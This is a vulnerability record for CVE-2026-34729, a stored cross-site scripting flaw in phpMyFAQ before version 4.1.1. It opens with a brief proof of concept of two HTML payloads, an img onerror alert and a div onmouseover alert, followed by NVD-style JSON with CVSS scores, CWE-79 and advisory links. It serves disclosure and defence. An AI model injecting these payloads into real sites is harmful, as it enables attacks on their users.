CVE-2026-34729

<!-- CVE-2026-34729 PoC: Stored XSS via Regex Bypass --> <!-- Inject the following payload into a vulnerable field (e.g., FAQ answer) --> <img src=x onerror=alert('CVE-2026-34729_XSS')> <!-- Alternative payload testing regex bypass --> <div onmouseover="alert('XSS')">Hover me</div>

{"cve": {"id": "CVE-2026-34729", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:42.393", "lastModified": "2026-04-07T14:52:49.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.1", "matchCriteriaId": "407BB5BA-44EA-49EB-8072-4ACD67864598"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}